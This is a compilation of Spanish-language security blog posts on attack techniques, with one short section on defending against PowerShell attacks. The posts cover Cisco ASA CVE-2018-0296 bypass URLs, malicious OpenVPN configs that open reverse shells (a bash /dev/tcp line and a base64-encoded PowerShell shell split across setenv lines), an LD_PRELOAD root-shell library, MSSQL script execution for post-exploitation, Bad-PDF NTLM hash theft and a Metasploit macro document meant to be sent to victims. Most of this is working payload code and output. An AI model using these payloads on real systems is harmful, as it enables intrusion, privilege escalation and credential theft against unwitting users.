Vulnerabilidad de path traversal en Cisco ASA (CVE-2018-0296)

El 6 de junio se hizo pública la vulnerabilidad CVE-2018-0296 que afecta a la interfaz web de los Cisco ASA (Adaptive Security Appliance) y aunque el fabricante lo describe como una vulnerabilidad que "podría permitir a un atacante remoto no autenticado provocar que el dispositivo se reinicie (DoS) y, en ciertas versiones de software, ver información sensible del sistema sin autenticación mediante el uso de técnicas de path traversal", lo realmente importante es ésto último, la falta de de validación de entrada y control de acceso a algunas URLs:

- "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/"
- "/+CSCOU+/../+CSCOE+/files/file_list.json?path=%2bCSCOE%2b"
- "/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions/"
- "/+CSCOE+/logon.html"
...

Sin embargo los polacos de Sekurak lo explican perfectamente en su artículo: "Error description CVE-2018-0296 - bypassing authentication in the Cisco ASA web interface":
ASA organiza sus recursos en dos directorios: /+CSCOU+/ y /+CSCOE+/ . Las subpáginas dentro de /+CSCOE+/ pueden requerir autenticación, mientras que las ubicadas en el medio /+CSCOU+/ autenticación nunca la requieren.

Como se muestra a continuación, si se intenta acceder a cualquier recurso /+CSCOE+/files/file_list.json de manera estándar se nos redireccionará a la página de logon:


Pero si se reemplaza en la petición /+CSCOE+/ por /+CSCOU+/ el resultado es sorprendente:


Así de sencillo. Esa a la manera de eludir la autenticación.

Como veis también, con file_list.json se pueden listar los archivos visibles desde la interfaz web. El catálogo de sesiones parece interesante, y después de entrar a una de esas sesiones, se puede averiguar cuál es el ID de usuario que está asociado, por lo que se puede averiguar fácilmente cual es la contraseña que hay que intentar romper ;)

Listado del contenido del directorio/sesiones:


Extracción del login del usuario conectado:


Podéis imaginaros que tratándose de Cisco existen numerosos dispositivos accesibles por Internet, sólo tenéis que buscar en Shodan o en Censys o usar un simple dork con /+CSCOE+/logon.html.

En cuanto a su explotación ya empiezan a surgir las primeras herramientas... Yassine Aboukir de HackerOne ya ha publicado un pequeño script en Python que vuelca a un archivo de texto tanto el contenido del directorio actual como lo de +CSCOE+:

https://github.com/yassineaboukir/CVE-2018-0296


Y Keith Lee (milo2012) ha liberado también otro script en Go que directamente extrae los nombres de usuario del dispositivo ASA:

https://github.com/milo2012/CVE-2018-0296


Esta vulnerabilidad se aplica al tráfico HTTP IPv4 e IPv6 y afecta al software Cisco ASA y al software Cisco Firepower Threat Defense (FTD) que se ejecuta en los siguientes productos de Cisco:

- 3000 Series Industrial Security Appliance (ISA)
- ASA 1000V Cloud Firewall
- ASA 5500 Series Adaptive Security Appliances
- ASA 5500-X Series Next-Generation Firewalls
- ASA Services Module for Cisco Catalyst 6500 Series Switches and Cisco 7600 Series Routers
 - Adaptive Security Virtual Appliance (ASAv)
- Firepower 2100 Series Security Appliance
- Firepower 4100 Series Security Appliance
- Firepower 9300 ASA Security Module
- FTD Virtual (FTDv)

Para confirmar si el dispositivo es vulnerable se recomienda seguir los pasos indicados por el mismo Cisco: CSCvi16029.

En cualquier de serlo es recomendable parchear inmediatamente (tenéis las versiones que corrigen el bug en el artículo anterior de Cisco).

Shells reversas mediante ficheros de configuración (.ovpn) de OpenVPN maliciosos

Recientemente leía en Medium un artículo que nos recuerda la peligrosidad de ejecutar openvpn con ficheros de configuración (.ovpn) de terceros. Concretamente, por la opción "up" que nos permite ejecutar un script (o programa ejecutable) opcionalmente seguido de argumentos, después de levantar el dispositivo TUN/TAP.

Eso significa que si la víctima está usando una versión de Bash que admita /dev/tcp, obtener un shell reversa es trivial. Por ejemplo, el siguiente archivo ovpn creará una shell reversa contra a 192.168.1.218:8181:
remote 192.168.1.245
ifconfig 10.200.0.2 10.200.0.1
dev tun
script-security 2
up “/bin/bash -c ‘/bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1&’”

Evidentemente cuando se utilice este archivo ovpn, no será demasiado obvio para el usuario que algo anda mal: la conexión VPN se establece normalmente y hay tráfico, aunque hay algunas indicaciones que podrían hacer sospechar a un usuario experimentado (subrayadas):
Thu Jun 7 12:28:23 2018 disabling NCP mode ( — ncp-disable) because not in P2MP client or server mode
Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git [git:HEAD/1f458322cdaffed0+*] x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Jun 7 2018
Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g 1 Mar 2016, LZO 2.08
Thu Jun 7 12:28:23 2018 NOTE: the current — script-security setting may allow this configuration to call user-defined scripts
Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled — All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. PLEASE DO RECONSIDER THIS CONFIGURATION!
Thu Jun 7 12:28:23 2018 TUN/TAP device tun0 opened
Thu Jun 7 12:28:23 2018 do_ifconfig, tt->did_ifconfig_ipv6_setup=0
Thu Jun 7 12:28:23 2018 /sbin/ifconfig tun0 10.200.0.2 pointopoint 10.200.0.1 mtu 1500
Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0<&1 2>&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init
Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:23 2018 UDP link local (bound): [AF_INET][undef]:1194
Thu Jun 7 12:28:23 2018 UDP link remote: [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:33 2018 Peer Connection Initiated with [AF_INET]192.168.1.245:1194
Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory — use the auth-nocache option to prevent this
Thu Jun 7 12:28:34 2018 Initialization Sequence Completed
Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.247] port 8181 [tcp/*] accepted (family 2, sport 54836)
root@client:/home/client/openvpn# id
id
uid=0(root) gid=0(root) groups=0(root)
root@client:/home/client/openvpn#

Bash facilita este ataque en distribuciones de Linux como Ubuntu. Sin embargo, Windows no tiene una función /dev/tcp análoga. Tendremos que trabajar un poco más para generar una shell reversa desde un equipo con Windows.

Afortunadamente, Dave Kennedy de TrustedSec escribió una pequeña shell reversa en powershell que podemos usar. Utilizando el parámetro -EncodedCommand de powershell.exe podemos pasar todo el script en la línea de comandos. Aunque primero necesitaremos encodearlo en base64 para evitar tener que insertar escapes. Con el script ps_encoder.py de Carlos Pérez podemos hacerlo rápidamente.

Pero también hay otro problema: el script de la shell reversa codificado tiene más de 4000 caracteres de longitud y OpenVPN tiene una limitación de 256 caracteres. Para evitar esto, podemos usar el comando setenv para dividir el script y luego recombinarlo en el comando up. Echa un vistazo al siguiente archivo .ovpn:
ifconfig 10.200.0.2 10.200.0.1
dev tun
remote 192.168.1.245
script-security 2
setenv z1 C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe
setenv a1 ‘ZgB1AG4AYwB0AGkAbwBuACAAYwBsAGUAYQBuAHUAcAAgAHsADQAKAGkAZgAgACgAJABjAGwAaQBlAG4AdAAuAEMAbwBuAG4AZQBjAHQAZQBkACAALQBlAHEAIAAkAHQAcgB1AGUAKQAgAHsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQANAAoAaQBmACAAKAAkAHAAcgBvAGMAZQBzAHMALgBFAHgAaQB0AEM’
setenv b1 ‘AbwBkAGUAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAkAHAAcgBvAGMAZQBzAHMALgBDAGwAbwBzAGUAKAApAH0ADQAKAGUAeABpAHQAfQANAAoAJABhAGQAZAByAGUAcwBzACAAPQAgACcAMQA5ADIALgAxADYAOAAuADEALgAyADEAOAAnAA0ACgAkAHAAbwByAHQAIAA9ACAAJwA4ADEAOAAxACcADQAKACQAYwBsAG’
setenv c1 ‘kAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAHMAeQBzAHQAZQBtAC4AbgBlAHQALgBzAG8AYwBrAGUAdABzAC4AdABjAHAAYwBsAGkAZQBuAHQADQAKACQAYwBsAGkAZQBuAHQALgBjAG8AbgBuAGUAYwB0ACgAJABhAGQAZAByAGUAcwBzACwAJABwAG8AcgB0ACkADQAKACQAcwB0AHIAZQBhAG0AIAA9A’
setenv d1 ‘CAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQANAAoAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEIAeQB0AGUAWwBdACAAJABjAGwAaQBlAG4AdAAuAFIAZQBjAGUAaQB2AGUAQgB1AGYAZgBlAHIAUwBpAHoAZQAN’
setenv e1 ‘AAoAJABwAHIAbwBjAGUAcwBzACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMADQAKACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAHIAdABJAG4AZgBvAC4ARgBpAGwAZQBOAGEAbQBlACAAPQAgACcAQwA6AFwAXAB3AGkAbgB’
setenv f1 ‘kAG8AdwBzAFwAXABzAHkAcwB0AGUAbQAzADIAXABcAGMAbQBkAC4AZQB4AGUAJwANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAxAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQASQBuAGYAbw’
setenv g1 ‘AuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAIAA9ACAAMQANAAoAJABwAHIAbwBjAGUAcwBzAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAwAA0ACgAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQByAHQAKAApAA0ACgAkAGkAb’
setenv h1 ‘gBwAHUAdABzAHQAcgBlAGEAbQAgAD0AIAAkAHAAcgBvAGMAZQBzAHMALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AA0ACgAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtACAAPQAgACQAcAByAG8AYwBlAHMAcwAuAFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAANAAoAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAA’
setenv i1 ‘MQANAAoAJABlAG4AYwBvAGQAaQBuAGcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAcwBjAGkAaQBFAG4AYwBvAGQAaQBuAGcADQAKAHcAaABpAGwAZQAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBQAGUAZQBrACgAKQAgAC0AbgBlACAALQAxACkAewAkAG8’
setenv j1 ‘AdQB0ACAAKwA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAGUAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsAD’
setenv k1 ‘AALAAkAG8AdQB0AC4ATABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwAOwAgACQAZABvAG4AZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJAB0AGUAcwB0AGkAbgBnACAAPQAgADAAOwANAAoAdwBoAGkAbABlACAAKAAtAG4AbwB0ACAAJABkAG8AbgBlACkAIAB7AA0ACgBpAGYAIAAoACQAYwBsA’
setenv l1 ‘GkAZQBuAHQALgBDAG8AbgBuAGUAYwB0AGUAZAAgAC0AbgBlACAAJAB0AHIAdQBlACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAJABwAG8AcwAgAD0AIAAwADsAIAAkAGkAIAA9ACAAMQANAAoAdwBoAGkAbABlACAAKAAoACQAaQAgAC0AZwB0ACAAMAApACAALQBhAG4AZAAgACgAJABwAG8AcwAgAC0AbAB0ACAAJABu’
setenv m1 ‘AGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByAC4ATABlAG4AZwB0AGgAKQApACAAewANAAoAJAByAGUAYQBkACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABuAGUAdAB3AG8AcgBrAGIAdQBmAGYAZQByACwAJABwAG8AcwAsACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAuAEwAZQBuAGcAdABoACAALQA’
setenv n1 ‘gACQAcABvAHMAKQANAAoAJABwAG8AcwArAD0AJAByAGUAYQBkADsAIABpAGYAIAAoACQAcABvAHMAIAAtAGEAbgBkACAAKAAkAG4AZQB0AHcAbwByAGsAYgB1AGYAZgBlAHIAWwAwAC4ALgAkACgAJABwAG8AcwAtADEAKQBdACAALQBjAG8AbgB0AGEAaQBuAHMAIAAxADAAKQApACAAewBiAHIAZQBhAGsAfQB9AA0ACg’
setenv o1 ‘BpAGYAIAAoACQAcABvAHMAIAAtAGcAdAAgADAAKQAgAHsADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABlAG4AYwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbgBlAHQAdwBvAHIAawBiAHUAZgBmAGUAcgAsADAALAAkAHAAbwBzACkADQAKACQAaQBuAHAAdQB0AHMAdAByAGUAYQBtAC4AdwByAGkAd’
setenv p1 ‘ABlACgAJABzAHQAcgBpAG4AZwApAA0ACgBzAHQAYQByAHQALQBzAGwAZQBlAHAAIAAxAA0ACgBpAGYAIAAoACQAcAByAG8AYwBlAHMAcwAuAEUAeABpAHQAQwBvAGQAZQAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AGMAbABlAGEAbgB1AHAAfQANAAoAZQBsAHMAZQAgAHsADQAKACQAbwB1AHQAIAA9ACAAJABlAG4A’
setenv q1 ‘YwBvAGQAaQBuAGcALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAbwB1AHQAcAB1AHQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAKQApAA0ACgB3AGgAaQBsAGUAKAAkAG8AdQB0AHAAdQB0AHMAdAByAGUAYQBtAC4AUABlAGUAawAoACkAIAAtAG4AZQAgAC0AMQApAHsADQAKACQAbwB1AHQAIAArAD0AIAAkAGUAbgBjAG8’
setenv r1 ‘AZABpAG4AZwAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABvAHUAdABwAHUAdABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAApACkAOwAgAGkAZgAgACgAJABvAHUAdAAgAC0AZQBxACAAJABzAHQAcgBpAG4AZwApACAAewAkAG8AdQB0ACAAPQAgACcAJwB9AH0ADQAKACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAG’
setenv s1 ‘UAbgBjAG8AZABpAG4AZwAuAEcAZQB0AEIAeQB0AGUAcwAoACQAbwB1AHQAKQAsADAALAAkAG8AdQB0AC4AbABlAG4AZwB0AGgAKQANAAoAJABvAHUAdAAgAD0AIAAkAG4AdQBsAGwADQAKACQAcwB0AHIAaQBuAGcAIAA9ACAAJABuAHUAbABsAH0AfQAgAGUAbABzAGUAIAB7AGMAbABlAGEAbgB1AHAAfQB9AA==’
up ‘C:\\Windows\\System32\\cmd.exe /c (start %z1% -WindowStyle Hidden -EncodedCommand %a1%%b1%%c1%%d1%%e1%%f1%%g1%%h1%%i1%%j1%%k1%%l1%%m1%%n1%%o1%%p1%%q1%%r1%%s1% ) ||’

Como veis el script codificado se ha dividido en varios comandos setenv. Al final, el script simplemente ejecuta todas las variables juntas.

Al igual que en el ejemplo de Linux, el log mostrará un aviso sobre -script-security cuando se inicie por primera vez la GUI de OpenVPN:


Una vez más, incluso si el usuario se llega a dar cuenta, podría ser demasiado tarde:
albinolobster@ubuntu:~$ nc -lvp 8181
Listening on [0.0.0.0] (family 0, port 8181)
Connection from [192.168.1.226] port 8181 [tcp/*] accepted (family 2, sport 51082)
Microsoft Windows [Version 10.0.17134.48]
© 2018 Microsoft Corporation. All rights reserved.
C:\Users\albinolobster\OpenVPN\config\albino_lobster>whoami
desktop-r5u6pvd\albinolobster
C:\Users\albinolobster\OpenVPN\config\albino_lobster>

Algunos clientes compatibles con OpenVPN como Viscosity y la GUI de Network Manager de Ubuntu desactivan este comportamiento, pero en conclusión, volvemos a incidir en que usar archivos ovpn no confiables es peligroso. Un usuario podría estar permitiendo que un atacante ejecute comandos arbitrarios en su PC, así que antes de levantar un túnel OVPN con un fichero de configuración que nos han pasado conviene revisarlo...

Ejecución de scripts R y Python en MSSQL

El componente de Machine Learning Services de SQL Server agrega análisis predictivos en la base de datos (in-database), análisis estadísticos, visualización y algoritmos de aprendizaje automático. Las librerías están disponibles en R y Python para SQL Server 2017 y en R para SQL Server 2016 y se ejecutan como script externo en una instancia de motor de base de datos.


Eso sí, para poder ejecutar scripts externos esta característica ha de haber sido activada previamente por el administrador:
EXEC sp_configure  'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE

Luego, lo normal es que se den permisos de ejecución de scripts R o Python a usuarios sin permisos elevados. En ese caso se debe otorgar a los usuarios de Machine Learning Services el permiso para ejecutar scripts externos:
USE [database_name]
GO
GRANT EXECUTE ANY EXTERNAL SCRIPT  TO [UserName]


Eso añade más posibilidades a la hora de ejecutar scripts, a parte del clásico xp_cmdshell (EXEC xp_cmdshell 'C:/.../python.exe C:\...\script.py'; GO), algo que podría ser útil para una post-explotación y/o movimiento lateral. Así que si hemos conseguido acceso a una base de datos lo primero que debemos hacer es comprobar si se permite o no la ejecución de scripts externos:
EXEC sp_configure  'external scripts enabled'

En caso afirmativo run_value debería ser "1". Y para estar totalmente seguro, podemos ejecutar las siguientes queries:

Para R
EXEC sp_execute_external_script  @language =N'R',
@script=N'
OutputDataSet <- br="" inputdataset="">',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO

Para Python
EXEC sp_execute_external_script  @language =N'Python',
@script=N'
OutputDataSet = InputDataSet;
',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO

El script puede tardar un poco en ejecutarse si es la primera vez que se carga el runtime del script externo. El resultado debería ser algo como esto:
Hello
1

A partir de ahí comienza la diversión..
 

Escalado de privilegios en Linux usando LD_PRELOAD

Las librerías compartidas (shared libraries en inglés) en Linux/Unix normalmente tienen el prefijo lib y la extensión .so. Los programas ld.so y ld-linux.so * encuentran y cargan los objetos compartidos (librerías compartidas) que necesita un programa, preparan el programa para ejecutarlo y luego lo ejecutan.
LD_Preload es la variable de entorno que lista las rutas de la librerías compartidas, al igual que /etc/ld.so.preload. Hoy vamos a ver cómo aprovechar esta característica común para escalar privilegios.

Primero el usuario loggeado debe tener algunos derechos de sudo, por lo tanto, para nuestro laboratorio daremos por ejemplo permisos de sudo al usuario sobre /usr/bin/find.
Por otro lado, muchas veces necesitamos que el programa que ejecutamos con sudo "sepa" donde buscar las librerías compartidas para funcionar. Para preservar las variables de entorno necesarias utilizaremos la variable env_keep. El fichero /etc/sudoers quedará de la siguiente forma:


Ya sabéis que para explotar ese tipo de vulnerabilidad, debemos comprometer la máquina de la víctima primero y luego pasar a la fase de escalada de privilegios. Supongamos que se inicia sesión a través de ssh y ejecutamos el comando sudo -l:


Con sólo eso ya sabemos "por dónde van los tiros". Ahora vamos a generar un pequeño programa en C llamado shell.c dentro del directorio /tmp (en el que normalmente tendremos permisos de escritura):
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}

Después lo compilaremos para generar una librería compartida con la extensión .so:
$ cc -fPIC -shared -o shell.so shell.c -D_GNU_SOURCE -nostartfiles

vmotos@victim:/tmp$ ls -al shell.so
-rwxrwxr-x 1 vmotos vmotos 6456 jun 17 23:44 shell.so

Ahora ejecutaremos la "magia" con sudo:
vmotos@victim:/tmp$ sudo LD_PRELOAD=/tmp/shell.so find

# id
uid=0(root) gid=0(root) grupos=0(root)

# whoami
root

¡Y ya somos root!

Recopilatorio de trucos en NTFS para pentesters

En un artículo impresionante René Freingruber (@ReneFreingruber) de SEC Consult Vulnerability Lab nos hablaba de diferentes técnicas o trucos sobre el sistema de archivos NTFS en Windows que fueron recopilados durante años. Algunas de las técnicas enumeradas ya fueron documentadas por James Forshaw (@tiraniddo) y Alex Inführ (@insertScript). No os los perdáis porque son muy interesantes y pueden resultar tremendamente útiles:

1.- Crear directorios sin tener permisos (CVE-2018-1036/NTFS EoP)

En Windows se pueden asignar "permisos especiales" a directorios para que un usuario pueda crear archivos dentro, pero no subdirectorios.
Un ejemplo es la carpeta C:\Windows\Tasks\:


Además, es posible que un administrador o un programa configure dichos permisos y asuma que los usuarios realmente no pueden crear carpetas en él.

Sin embargo, esta ACL puede saltarse fácilmente en el momento en que un usuario pueda crear archivos. Solo hay que agregar "::$INDEX_ALLOCATION" al final de un nombre de archivo y se creará una carpeta en lugar de un archivo:


Como podéis ver se pudo crear un directorio y el usuario puede crear archivos o carpetas arbitrariamente en este directorio (lo que puede derivar en escalada de privilegios si un administrador o programa supone que no es posible debido a los permisos que faltan).

También, el truco ::$INDEX_ALLOCATION se puede usar para eliminar directorios si una aplicación solo permite eliminar archivos.

2.- Evadir las restricciones de rutas con ADS (Alternate Data Streams)

Quizás te preguntes por qué funcionó la técnica anterior. Básicamente, los archivos en un volumen NTFS se almacenan de la siguiente forma:

<filename>:<stream-name>:<type>

Si creamos un archivo llamado test.txt, se almacenará internamente como test.txt ::$DATA porque el nombre del stream está vacío y $DATA es el tipo predeterminado. El primer truco abusa del hecho de que el tipo de stream puede cambiarse a INDEX_ALLOCATION que corresponde a un directorio y, por lo tanto, crea un directorio.

Defensa contra ataques PowerShell

Que la industria de la seguridad está repleta de noticias sobre cómo se está utilizando PowerShell tanto por malware como por atacantes no es un secreto. Por eso defenderse de estos ataques es capital, o al menos debe serlo, para la mayoría de las organizaciones. Hoy leía un artículo en el blog de Microsoft en el que la comunidad de PowerShell.org resaltaba algunas recomendaciones interesantes:

- Implementar PowerShell v5, integrado en Windows 10. De forma alternativa se puede implementar Windows Management Framework, disponible hasta en Windows 7 y Windows Server 2008r2.
- Habilitar y recopilar logs de PowerShell, incluyendo opcionalmente el Registro de eventos protegidos. Incorporar estos logs en los flujos de trabajo de firmas, búsqueda y respuesta a incidentes.
- Implementar la administración "Just Enough" en los sistemas más importantes para eliminar o reducir el acceso administrativo sin restricciones a esos sistemas.
- Implementar políticas de Device Guard/Application Control para permitir que las tareas administrativas preaprobadas puedan utilizar toda la capacidad del lenguaje PowerShell, a la vez que se limita su uso al resto.
- Instalar Windows 10 para brindar al proveedor de antivirus acceso completo a todo el contenido (incluido el contenido generado o no ofuscado en tiempo de ejecución) procesado por Windows Scripting Hosts, incluido PowerShell.

Más o menos estos pasos y soluciones están bastante detallados en la presentación que hizo Lee Holmes en el último Global Summit de Powershell + DevOps: "Defendiendo contra los ataques de PowerShell", sin duda un video bastante académico y entretenido para noches de insomnio ;) :


Diapositivas usadas en este vídeo: Defending-Against-PowerShell-Attacks.
Más detalles sobre las funciones de seguridad de PowerShell: PowerShell ♥ the Blue Team.
Para obtener más información sobre la implementación de Just Enough: http://aka.ms/jeadocs.

PDF malicioso para robar hashes NTLM

Si ayer veíamos cómo generar documentos .odt maliciosos de Openoffice hoy veremos como generar PDFs capaces de robar hashes NTLM (NTLMv1 / NTLMv2) de las máquinas Windows de las incautas víctimas.

La técnica utilizada es la que descubrió Assaf Baharav, un investigador de Check Point: "La especificación PDF permite cargar contenido remoto para las entradas GoToE & GoToR".
Cuando alguien abre este archivo, el documento PDF automáticamente realiza una solicitud a un servidor SMB malicioso remoto. Por diseño, todas las solicitudes SMB también incluyen el hash NTLM con fines de autenticación así que este hash NTLM se registrará en el servidor SMB. Y ya sabéis que hay herramientas disponibles que pueden romper este hash y recuperar la contraseña original (o utilizar directamente Pass-the-hash?).

Este tipo de ataque no es nuevo, en absoluto, y en el pasado, se ha ejecutado al iniciar solicitudes SMB desde documentos de Office, Outlook, navegadores, archivos de acceso directo de Windows, carpetas compartidas y otras funciones internas del sistema operativo Windows. Así que faltaban, cómo no, los documentos PDFs.

Assaf comprobó la vulnerabilidad en los principales lectores PDF FoxIT y Acrobat Reader y Adobe ya ha publicado el parche APSB18-09 en sus últimas versiones. Por otro lado Microsoft lanzó ADV170014 para proporcionar un mecanismo técnico e instrucciones sobre cómo los usuarios podrían deshabilitar la autenticación NTLM SSO en sistemas operativos Windows, con la esperanza de detener el robo de hashes NTLM a través de solicitudes SMB realizadas a servidores ubicados fuera de la red local.

En cualquier caso si nos encontramos con un sistema sin actualizar tenemos la herramienta Bad-Pdf del saudí Deepu TV (DeepZec) que levanta un listener de Responder para capturar los hashes.

Para ejecutarlo en Kali Linux simplemente tenemos que hacer:

git clone https://github.com/deepzec/Bad-Pdf.git
cd badpdf
python badpdf.py



A continuación veremos el Responder esperando los hashes:


Ejecución del archivo Bad-PDF generado en una máquina Windows y obtención del hash NTLM: :)


Yara Rule:

https://github.com/InQuest/yara-rules/blob/master/NTLM_Credentials_Theft_via_PDF_Files.rule

Técnica ref.:

https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/

Fuente:

https://github.com/deepzec/Bad-Pdf

Shell mediante un documento .odt malicioso (Squiblydoo)

El correo corporativo sigue siendo un vector de entrada interesante para realizar una intrusión, sobretodo en ejercicios de red team, spear phishing y, cómo no, también en escenarios reales.
Con el paso de los años se ha ido mejorado la seguridad de las pasarelas de mensajería y de los endpoints, pero hoy en día siguen surgiendo nuevas técnicas capaces de evadir muchas de estas protecciones.

En esta entrada vamos a ver un par de claros ejemplos que os harán pensar en la (todavía) peligrosidad de abrir un fichero adjunto, sobretodo si se trata de un remitente desconocido porque en ese momento carecíamos de sentido común o porque hemos sido engañados por el sublime subterfugio digital.

Metasploit

Empecemos con el módulo exploit/multi/misc/openoffice_document_macro de Metasploit, que genera un documento de texto de Apache OpenOffice (.odt) con una macro maliciosa.
Para ejecutarlo con éxito, la víctima debe ajustar el nivel de seguridad de las Macros a nivel medio o bajo. Si se establece en medio, se le mostrar a un usuario un mensaje de que si quiere habilitar o no las macros.

Para generar el documento malicioso solo tentemos que configurar unas pocas opciones:
msf5 exploit(multi/misc/openoffice_document_macro) > show options

Module options (exploit/multi/misc/openoffice_document_macro):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   BODY                       no        The message for the document body
   FILENAME  msf.odt          yes       The OpoenOffice Text document name
   SRVHOST   192.168.1.50     yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.50     yes       The listen address
   LPORT     443              yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Apache OpenOffice on Windows (PSH)

msf5 exploit(multi/misc/openoffice_document_macro) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.1.50:443
msf5 exploit(multi/misc/openoffice_document_macro) > [*] Using URL: http://192.168.1.50:8080/0IYALAH
[*] Server started.
[*] Generating our odt file for Apache OpenOffice on Windows (PSH)...
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Thumbnails
[*] Packaging file: Thumbnails/thumbnail.png
[*] Packaging file: manifest.rdf
[*] Packaging file: styles.xml
[*] Packaging file: settings.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Basic
[*] Packaging file: Basic/script-lc.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Basic/Standard
[*] Packaging file: Basic/Standard/script-lb.xml
[*] Packaging file: Basic/Standard/Module1.xml
[*] Packaging file: content.xml
[*] Packaging file: meta.xml
[*] Packaging file: mimetype
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/META-INF
[*] Packaging file: META-INF/manifest.xml
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2
[*] Packaging directory: /opt/metasploit-framework/data/exploits/openoffice_document_macro/Configurations2/accelerator
[*] Packaging file: Configurations2/accelerator/current.xml
[+] msf.odt stored at /home/vmotos/.msf4/local/msf.odt

Vale, como veis el documento mdf.odt se ha guardado en la ruta indicada. Se lo enviamos a la incauta víctimas y si permiten ejecutar macros...

PESecurity: verificando las protecciones de un binario en Windows (ASLR, DEP y SafeSEH) con Powershell:

A la hora de reversear o explotar una DLL o un EXE es capital saber si este fue compilado con ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention) o SafeSEH (Structured Exception Handling).

